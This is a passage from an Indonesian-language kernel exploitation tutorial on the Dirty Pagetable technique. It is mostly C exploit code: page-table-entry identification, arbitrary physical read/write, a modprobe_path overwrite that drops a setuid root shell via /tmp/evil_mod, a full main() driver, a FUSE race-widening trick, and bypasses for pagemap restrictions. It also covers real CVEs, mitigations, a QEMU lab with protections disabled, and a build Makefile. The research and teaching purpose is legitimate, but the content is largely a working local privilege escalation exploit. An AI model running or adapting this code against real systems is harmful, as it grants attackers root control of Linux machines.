                     * PTE[i] dalam freed page menunjuk ke
                     * physical page yang di-map ke spray_maps[s]+j*PAGE_SIZE
                     * Artinya: freed page ADALAH PTE page untuk spray_maps[s]
                     */
                    victim_spray = s;
                    victim_pte_i = i;
                    /* VA yang kita akan manipulate PTEnya */
                    victim_va = base + (size_t)i * PAGE_SIZE;

                    ok("PTE page identified! spray[%d], PTE[%d]", s, i);
                    ok("Victim VA = %p", victim_va);
                    return 1;
                }
            }
        }
    }
    err("Could not identify PTE page. Retry or increase spray.");
    return 0;
}

/* Remap victim_va ke arbitrary physical address */
void remap_victim_to(uint64_t target_pa) {
    uint64_t new_pte = (target_pa & PFN_MASK) | PTE_FLAGS;
    uaf_write_qword(victim_pte_i * 8, new_pte);
    flush_tlb(victim_va);
}

Privilege Escalation via modprobe_path

C privesc_modprobe.c — Alternatif LPE via modprobe_path overwrite
/*
 * Strategi LPE alternatif: overwrite modprobe_path
 *
 * modprobe_path adalah string di kernel BSS/data section:
 *   char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
 *
 * Ketika user menjalankan binary dengan unknown magic bytes,
 * kernel panggil modprobe_path sebagai root. Kita overwrite
 * dengan path script kita sendiri → arbitrary code exec as root.
 *
 * Kita perlu tahu physical address modprobe_path.
 * Dengan Dirty Pagetable, kita bisa scan physmem.
 */

#define MODPROBE_PATH_SIG "/sbin/modprobe"
#define FAKE_MODPROBE     "/tmp/evil_mod"
#define SCAN_MAX_PA       (0x200000000ULL)  /* scan 8GB */

uint64_t find_modprobe_path_pa(void) {
    uint8_t buf[PAGE_SIZE];
    const char *sig = MODPROBE_PATH_SIG;
    size_t      siglen = strlen(sig);

    info("Scanning physmem for modprobe_path...");

    for (uint64_t pa = 0; pa < SCAN_MAX_PA; pa += PAGE_SIZE) {
        remap_victim_to(pa);

        /* Baca page via victim_va */
        memcpy(buf, victim_va, PAGE_SIZE);

        /* Cari signature */
        for (size_t off = 0; off + siglen < PAGE_SIZE; off++) {
            if (memcmp(buf + off, sig, siglen) == 0) {
                ok("Found modprobe_path at PA 0x%lx+0x%lx", pa, off);
                return pa + off;
            }
        }
    }
    return 0;
}

void exploit_modprobe_path(void) {
    /* Buat script /tmp/evil_mod yang akan dijalankan sebagai root */
    system("echo '#!/bin/sh\ncp /bin/sh /tmp/rsh\nchmod +s /tmp/rsh' "
           "> /tmp/evil_mod && chmod +x /tmp/evil_mod");

    uint64_t modprobe_pa = find_modprobe_path_pa();
    ASSERT(modprobe_pa != 0);

    /* Remap victim ke page yang berisi modprobe_path */
    uint64_t page_pa = modprobe_pa & ~(PAGE_SIZE - 1);
    size_t   page_off = modprobe_pa & (PAGE_SIZE - 1);
    remap_victim_to(page_pa);

    /* Overwrite modprobe_path string */
    char *mp = (char *)victim_va + page_off;
    memset(mp, 0, 256);
    strcpy(mp, FAKE_MODPROBE);

    ok("modprobe_path overwritten!");
    ok("Triggering modprobe via unknown magic bytes...");

    /* Trigger: create file dengan magic bytes tidak dikenal */
    int fd = open("/tmp/trigger", O_CREAT|O_WRONLY, 0644);
    const char hdr[] = {0xde,0xad,0xbe,0xef};  // unknown magic
    write(fd, hdr, sizeof(hdr));
    close(fd);
    chmod("/tmp/trigger", 0755);
    system("/tmp/trigger");  // → kernel calls modprobe_path as root

    /* Cek apakah berhasil */
    if (access("/tmp/rsh", F_OK) == 0) {
        ok("SUCCESS! Launching root shell...");
        execl("/tmp/rsh", "rsh", "-p", NULL);
    } else {
        err("modprobe trigger failed. Try cred overwrite instead.");
    }
}

Full Exploit — main()

C exploit_main.c — Entry point
/*
 * dirty_pagetable_exploit.c — Full exploit
 * Build: gcc -O0 -static -o exploit exploit_main.c -lpthread
 */

#include "exploit.h"

int main(int argc, char **argv) {
    puts("\n\033[36m"
         "  ____  _      _           ____  _          _        _     _      \n"
         " |  _ \\(_)_ __| |_ _   _  |  _ \\| |    __  _| |_ ___| |__ | | ___ \n"
         " | | | | | '__| __| | | | | |_) | |   / _`| __/ __| '_ \\| |/ _ \\\n"
         " | |_| | | |  | |_| |_| | |  __/| |__| (_| | |_\\__ \\ |_) | |  __/\n"
         " |____/|_|_|   \\__|\\__, | |_|   |_____\\__,_|\\__|___/_.__/|_|\\___|\n"
         "                   |___/                                           \n"
         "\033[0m");

    printf("[*] Dirty Pagetable LPE — Linux Kernel 6.x\n");
    printf("[*] PID: %d, UID: %d\n", getpid(), getuid());

    /* Step 1: Setup nama proses untuk scanning nanti */
    prctl(PR_SET_NAME, "exploit", 0, 0, 0);

    /* Step 2: Setup dan alokasi UAF object */
    setup_uaf_object();

    /* Step 3: Trigger UAF (freed page + dangling ref) */
    trigger_uaf();

    /* Step 4: PTE spray — reclaim freed page sebagai PTE */
    do_pte_spray();

    /* Step 5: Identify mana spray region yang kena target page */
    int found = identify_victim_pte();
    if (!found) {
        err("PTE identification failed. Trying more spray...");
        /* Retry dengan more spray */
        do_pte_spray();
        found = identify_victim_pte();
        if (!found) die("Fatal: cannot identify PTE page");
    }

    ok("Arbitrary physical R/W acquired!");
    ok("victim_va = %p", victim_va);

    /* Step 6: Privilege Escalation */
    /* Pilih salah satu strategi: */

    /* Strategi A: modprobe_path overwrite */
    exploit_modprobe_path();

    /* Strategi B: cred overwrite (jika strategi A gagal) */
    /*
    uint64_t task_pa = find_task_struct_pa(getpid());
    if (task_pa) {
        overwrite_creds(task_pa);
        if (getuid() == 0) {
            ok("ROOT! Spawning shell...");
            system("/bin/bash");
        }
    }
    */

    return 0;
}

// SECTION 07

Variasi Teknik

Dirty Pagetable v1 vs v2

Aspekv1 (Original)v2 (Enhanced)
PTE Level PTE (level 1, 4KB pages) PMD (level 2, 2MB huge pages)
Spray Size 2MB per mmap (PTE range) 1GB per mmap (PUD range)
Coverage 4KB per PTE control 2MB per PMD control → faster scan
Stealth Normal, lebih banyak syscall Fewer mmap() calls, less noise
Complexity Lebih sederhana Perlu huge page setup (THP)

Cross-Cache Variant

Pada varian ini, freed page berasal dari SLUB cache berbeda dari page table cache, tapi masih bisa dimanfaatkan karena buddy allocator mengelola physical pages secara terpisah dari SLUB slab.

Detail: Cross-Cache UAF dengan pipe_buffer

pipe_buffer dialokasikan dari cache pipe_buffer (ukuran 40 bytes, di dalam kmalloc-64). Namun, page data yang direferensikan oleh pipe_buffer.page adalah 4KB page dari buddy allocator.

Jika kita bisa UAF pada pipe_buffer.page (membuat refcount page = 0 sebelum waktunya), kernel akan free physical page tersebut ke buddy allocator. Kemudian mmap() spray bisa mengambil physical page yang sama untuk digunakan sebagai PTE.

Ini adalah pola yang digunakan oleh exploit CVE-2023-2598 (io_uring fixed buffer → pipe_buffer page UAF → Dirty Pagetable).

FUSE-based UAF

FUSE (Filesystem in Userspace) memungkinkan user-space mengontrol timing operasi filesystem. Ini sangat berguna untuk race condition exploit yang membutuhkan window yang precise antara free dan re-allocation.

C fuse_timing.c — Gunakan FUSE untuk extend race window
/*
 * FUSE trick: delay kernel path hingga kita siap.
 * Kernel akan "block" saat operasi FUSE, memberi
 * kita waktu untuk melakukan PTE spray.
 *
 * Flow:
 *  Thread A: buka file di FUSE mount → kernel blocks
 *  Thread B: trigger UAF (race dengan thread A)
 *  Main:     FUSE spray PTE, lalu release FUSE request
 *
 * Ini meningkatkan reliabilitas secara dramatis.
 */

#include <fuse_lowlevel.h>

static volatile int fuse_ready = 0;
static volatile int spray_done = 0;

/* FUSE read handler yang sengaja di-pause */
static void fuse_read_handler(fuse_req_t req,
                               fuse_ino_t ino,
                               size_t size,
                               off_t off,
                               struct fuse_file_info *fi)
{
    /* Signal bahwa kernel sedang block di FUSE */
    __atomic_store_n(&fuse_ready, 1, __ATOMIC_SEQ_CST);

    /* Tunggu sampai PTE spray selesai */
    while (!__atomic_load_n(&spray_done, __ATOMIC_SEQ_CST))
        usleep(100);

    /* Reply dan lanjutkan */
    char buf[4096] = {0};
    fuse_reply_buf(req, buf, MIN(size, sizeof(buf)));
}

void *fuse_thread(void *arg) {
    /* Setup FUSE mount dan event loop */
    struct fuse_lowlevel_ops ops = {
        .read = fuse_read_handler,
    };
    /* ... mount dan run fuse_session_loop() ... */
    return NULL;
}

void exploit_with_fuse(void) {
    pthread_t fuse_thr;
    pthread_create(&fuse_thr, NULL, fuse_thread, NULL);

    /* Trigger race: buka file di FUSE */
    trigger_uaf();

    /* Tunggu FUSE signal */
    while (!__atomic_load_n(&fuse_ready, __ATOMIC_SEQ_CST))
        sched_yield();

    /* Sekarang lakukan PTE spray saat kernel sedang block */
    do_pte_spray();

    /* Release FUSE → kernel lanjutkan */
    __atomic_store_n(&spray_done, 1, __ATOMIC_SEQ_CST);
    pthread_join(fuse_thr, NULL);
}

// SECTION 08

CVE Real-World yang Menggunakan Dirty Pagetable

CVESubsystemKernel VerBug TypeNotes
CVE-2023-0179 netfilter/nftables ≤ 6.2 Stack OOB write nft_payload_eval() integer overflow → arbitrary write → PTE corruption
CVE-2023-2598 io_uring ≤ 6.3 UAF via fixed buffer io_uring fixed buffer registration race → pipe_buffer page UAF
CVE-2023-32233 netfilter ≤ 6.3 Use-After-Free nf_tables anonymous set UAF → Dirty Pagetable LPE
CVE-2023-3776 cls_fw (net/sched) ≤ 6.4 Use-After-Free tc flower filter UAF → kernel heap control → PTE spray
CVE-2023-4004 netfilter/nftables ≤ 6.4 Use-After-Free nft_pipapo element removal UAF
CVE-2022-27666 IPsec/esp6 ≤ 5.17 Heap OOB write Precursor; similar PTE technique muncul di wild
// TREND Dirty Pagetable telah menjadi teknik default untuk mengeksploitasi UAF di kernel Linux 6.x karena kebanyakan mitigasi klasik (SMEP, SMAP, KASLR) tidak efektif melawannya. Hampir semua LPE exploit netfilter sejak 2023 menggunakan varian teknik ini.

// SECTION 09

Mitigasi & Bypass Strategies

SMEP/SMAP — Status: Bypassed

SMEP (Supervisor Mode Execution Prevention) dan SMAP (Supervisor Mode Access Prevention) mencegah kernel mengeksekusi / mengakses user-space memory. Dirty Pagetable tidak menggunakan user-space execution sama sekali — ia beroperasi murni melalui manipulasi PTE, sehingga SMEP/SMAP tidak relevan.

KASLR — Status: Tidak Diperlukan untuk Bypass

Karena Dirty Pagetable bekerja di level physical memory, ia tidak perlu mengetahui kernel virtual address untuk membaca/menulis cred atau modprobe_path. Scanning physical memory menemukan target secara langsung tanpa info leak. Namun, untuk strategi cred overwrite yang lebih presisi, KASLR leak tetap membantu.

KCFI/CFI — Status: Tidak Relevan

Control Flow Integrity melindungi indirect function calls. Dirty Pagetable tidak mengalihkan control flow — ia memodifikasi data (cred, modprobe_path). CFI sama sekali tidak melindungi terhadap teknik ini.

Mitigasi yang Efektif

MitigasiEfektivitasDetail
CONFIG_RODATA_FULL_DEFAULT_ENABLED Partial Membuat kernel .rodata tidak bisa ditulis → modprobe_path terlindungi jika ada di rodata. Tapi cred tetap bisa dioverwrite.
CONFIG_RANDOMIZE_MEMORY Low Mengacak physmap base → memperlambat scan tapi bisa di-bypass dengan bruteforce
Memory Tagging (MTE/arm64) Partial Mendeteksi UAF access via tag mismatch. Efektif jika implemented fully.
CONFIG_INIT_ON_FREE_DEFAULT_ON Moderate Zero-fill freed memory → mungkin merusak PTE spray content. Tidak fully efektif.
KFENCE (Kernel Electric Fence) Detection Mendeteksi UAF di runtime (sampling-based). Untuk deteksi, bukan prevention.
LKDTM / KCSAN Debug only Efektif untuk development/debug. Tidak di-enable di production kernel.
Lockdown Mode (LOCKDOWN_CONFIDENTIALITY_MAX) Moderate Membatasi /proc/self/pagemap untuk non-root. Mempersulit VA→PA translation.
Patchable struct page In progress Proposal kernel untuk melindungi page table pages dari reclaim sembarangan

Bypass /proc/self/pagemap Restriction

C bypass_pagemap.c — Tanpa akses pagemap
/*
 * Jika /proc/self/pagemap tidak tersedia (LOCKDOWN atau SYSCTL),
 * kita bisa gunakan metode alternatif untuk VA → PA:
 *
 * 1. mincore() + timing side channel
 * 2. Rowhammer probing (baca adjacent physical pages)
 * 3. perf_event_open() untuk cache timing
 * 4. Gunakan sprayed PTE content untuk self-identify
 *
 * Metode 4 (PTE self-identification) paling reliable:
 */

void identify_without_pagemap(void) {
    uint64_t freed_content[PAGE_SIZE/8];
    uaf_read_page(freed_content);

    /*
     * Tulis pattern UNIK ke setiap page di setiap spray region.
     * Kemudian scan freed_page_content untuk pattern tersebut.
     * PTE yang menunjuk ke page dengan pattern tertentu
     * memberitahu kita spray index mana yang match.
     */
    for (int s = 0; s < spray_count; s++) {
        uint8_t *base = (uint8_t *)spray_maps[s];
        /* Tulis magic pattern unik per spray */
        uint64_t magic = 0xDEADBEEF00000000ULL | (uint64_t)s;
        for (int j = 0; j < PTRS_PER_PTE; j++) {
            *(uint64_t *)(base + (size_t)j * PAGE_SIZE) = magic | j;
        }
    }

    /* Setelah write pattern, scan PTEs di freed_page untuk signature */
    /* (Dengan mmap MAP_POPULATE, PTEs sudah di-populate sebelumnya) */
    /* Pattern write di atas tidak mengubah PTE, hanya data page */
    /* Kita perlu teknik berbeda tanpa pagemap... */

    /*
     * Alternatif: gunakan mremap() untuk trigger PTE allocasi baru
     * pada address yang kita tentukan, lalu cek via UAF apakah
     * freed page berisi PTE untuk address tersebut.
     */
}

// SECTION 10

Debugging & Tools

QEMU Setup untuk Development

BASH run_debug_vm.sh — QEMU dengan debugging symbols
#!/bin/bash
# QEMU Debug VM untuk Dirty Pagetable development
# Kernel harus dikompilasi dengan CONFIG_DEBUG_INFO=y
# dan CONFIG_KASAN=n (KASAN akan detect UAF sebelum kita)

KERNEL="./bzImage"
ROOTFS="./rootfs.img"
GDB_PORT=1234

qemu-system-x86_64 \
    -kernel "${KERNEL}" \
    -initrd "${ROOTFS}" \
    -m 4G \
    -smp 2 \
    -cpu host \
    -enable-kvm \
    -nographic \
    -append "console=ttyS0 root=/dev/sda rw \
             nokaslr \
             nosmap nopti \
             noapic \
             oops=panic panic=1 \
             kpti=off \
             init=/init" \
    -netdev user,id=net0,hostfwd=tcp::2222-:22 \
    -device virtio-net-pci,netdev=net0 \
    -drive file="${ROOTFS}",format=raw \
    -s -S  # -s: GDB server port 1234, -S: wait for GDB

# Untuk attach GDB:
# gdb vmlinux
# (gdb) target remote :1234
# (gdb) hbreak dirty_pagetable_exploit
# (gdb) continue

Kernel Config untuk Lab

KCONFIG .config snippets — untuk reproduce Dirty Pagetable
# ─── Aktifkan untuk reproduce (debug/lab environment) ───
CONFIG_DEBUG_INFO=y
CONFIG_DEBUG_KERNEL=y
CONFIG_FRAME_POINTER=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_MAGIC_SYSRQ=y

# ─── Nonaktifkan (agar exploit berjalan di lab) ──────────
CONFIG_RANDOMIZE_BASE=n       # KASLR off
CONFIG_KASAN=n                # KASAN akan detect UAF
CONFIG_KFENCE=n               # KFENCE akan detect UAF
CONFIG_UBSAN=n                # UBSAN overhead
CONFIG_PAGE_TABLE_ISOLATION=n # KPTI off
CONFIG_SLAB_FREELIST_RANDOM=n # Buat heap predictable
CONFIG_SLAB_FREELIST_HARDENED=n

# ─── Aktifkan subsystem target ───────────────────────────
CONFIG_NF_TABLES=y            # Untuk CVE-2023-0179, etc
CONFIG_IO_URING=y             # Untuk io_uring bugs
CONFIG_FUSE_FS=y              # Untuk FUSE timing trick
CONFIG_USER_NS=y              # Untuk unprivileged netns

# ─── Untuk debug PTE manipulation ────────────────────────
CONFIG_DEBUG_PAGEALLOC=n      # Off: agar freed page tidak di-poison
CONFIG_INIT_ON_FREE_DEFAULT_ON=n # Off: agar freed page content preserved

GDB Helper Scripts

PYTHON — GDB SCRIPT gdb_helpers.py — Useful GDB commands untuk kernel debugging
"""
GDB Python helpers untuk Dirty Pagetable debugging.
Load: (gdb) source gdb_helpers.py
"""

import gdb

class WalkPageTable(gdb.Command):
    """Walk page table for a virtual address.
    Usage: walk_pt MM_ADDR VA
    """
    def __init__(self):
        super().__init__("walk_pt", gdb.COMMAND_USER)

    def invoke(self, arg, from_tty):
        args = arg.split()
        mm_addr = int(args[0], 16)
        va      = int(args[1], 16)

        mm  = gdb.Value(mm_addr).cast(
                gdb.lookup_type('struct mm_struct').pointer())
        pgd = mm['pgd']

        pgd_i = (va >> 39) & 0x1FF
        pud_i = (va >> 30) & 0x1FF
        pmd_i = (va >> 21) & 0x1FF
        pte_i = (va >> 12) & 0x1FF
        off   = va & 0xFFF

        print(f"VA       = 0x{va:016x}")
        print(f"PGD[{pgd_i:3d}] = {int(pgd[pgd_i]['pgd']):016x}")
        # ... (tambahkan walk lebih dalam)

WalkPageTable()

class FindModprobePath(gdb.Command):
    """Find modprobe_path address.
    Usage: find_modprobe
    """
    def __init__(self):
        super().__init__("find_modprobe", gdb.COMMAND_USER)

    def invoke(self, arg, from_tty):
        sym = gdb.lookup_global_symbol("modprobe_path")
        if sym:
            addr = sym.value().address
            print(f"modprobe_path KVA: {int(addr):#018x}")
            print(f"modprobe_path PA:  {int(addr) - 0xffff888000000000:#018x}")
            print(f"Current value: {sym.value().string()}")
        else:
            print("modprobe_path not found in symbols")

FindModprobePath()

Compile & Test

MAKEFILE Makefile
CC      = gcc
CFLAGS  = -Wall -Wextra -O0 -g3 -static
LDFLAGS = -lpthread -lfuse3 -lmnl -lnftnl

TARGET  = exploit

SRCS = exploit_main.c \
        uaf_trigger.c  \
        pte_spray.c    \
        privesc.c

all: $(TARGET)

$(TARGET): $(SRCS)
	$(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS)
	@echo "[+] Build OK: ./exploit"
	@file ./exploit
	@ls -lh ./exploit

clean:
	rm -f $(TARGET)

# Upload ke VM untuk testing
upload: $(TARGET)
	scp -P 2222 ./exploit user@localhost:/tmp/exploit
	ssh -p 2222 user@localhost "chmod +x /tmp/exploit && /tmp/exploit"

.PHONY: all clean upload

// SECTION 11

Referensi & Resources

Paper & Blog Posts

Kernel Source References

Tools

// BLUE DRAGON SECURITY Tutorial ini dibuat sebagai referensi untuk Security Researcher Master Class. Untuk CVE research aktif, syzkaller fuzzing campaigns, dan teknik eksploitasi kernel Linux terbaru — kunjungi bluedragonsec.com